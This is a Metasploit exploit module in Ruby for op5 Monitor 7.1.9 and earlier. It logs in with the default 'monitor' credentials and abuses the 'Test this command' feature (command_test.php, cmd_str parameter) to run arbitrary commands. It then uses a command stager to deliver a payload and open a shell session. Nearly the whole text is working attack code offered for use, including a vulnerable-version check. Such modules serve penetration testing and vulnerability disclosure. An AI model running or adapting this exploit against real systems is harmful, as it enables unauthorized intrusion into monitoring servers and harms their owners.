op5 7.1.9 – Configuration Command Execution (Metasploit)
## ## This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager Rank = ExcellentRanking def initialize(info = {}) super( update_info( info, 'Name' => 'op5 v7.1.9 Configuration Command Execution', 'Description' => %q( op5 an open source network monitoring software. The configuration page in version 7.1.9 and below allows the ability to test a system command, which can be abused to run arbitrary code as an unpriv user. ), 'Author' => [ 'h00die <mike@shorebreaksecurity.com>', # module 'hyp3rlinx' # discovery ], 'References' => [ [ 'EDB', '39676' ], [ 'URL', 'https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/'] ], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Privileged' => false, 'DefaultOptions' => { 'SSL' => true }, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 08 2016' ) ) register_options( [ Opt::RPORT(443), OptString.new('USERNAME', [ true, 'User to login with', 'monitor']), OptString.new('PASSWORD', [ false, 'Password to login with', 'monitor']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']) ], self.class ) end def check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? /Version: (?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+\|/ =~ res.body if version && Gem::Version.new(version) <= Gem::Version.new('7.1.9') vprint_good("Version Detected: #{version}") Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end def exploit execute_cmdstager( :flavor => :echo ) end def execute_command(cmd, opts) begin # To manually view the vuln page, click Manage > Configure > Commands. # Click the "Test this command" button to display the form we abuse. # login res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'monitor/index.php/auth/login'), 'method' => 'POST', 'vars_get' => { 'uri' => 'tac/index' }, 'vars_post' => { 'csrf_token' => '', 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 302 cookie = res.get_cookies # exploit res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'monitor/op5/nacoma/command_test.php'), 'method' => 'GET', 'cookie' => cookie, 'vars_get' => { 'cmd_str' => cmd } ) # success means we hang our session, and wont get back a response if res fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Credentials need additional privileges") if res.body =~ /Access Denied/ end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end def on_new_session(session) super session.shell_command_token('setsid $SHELL') end end |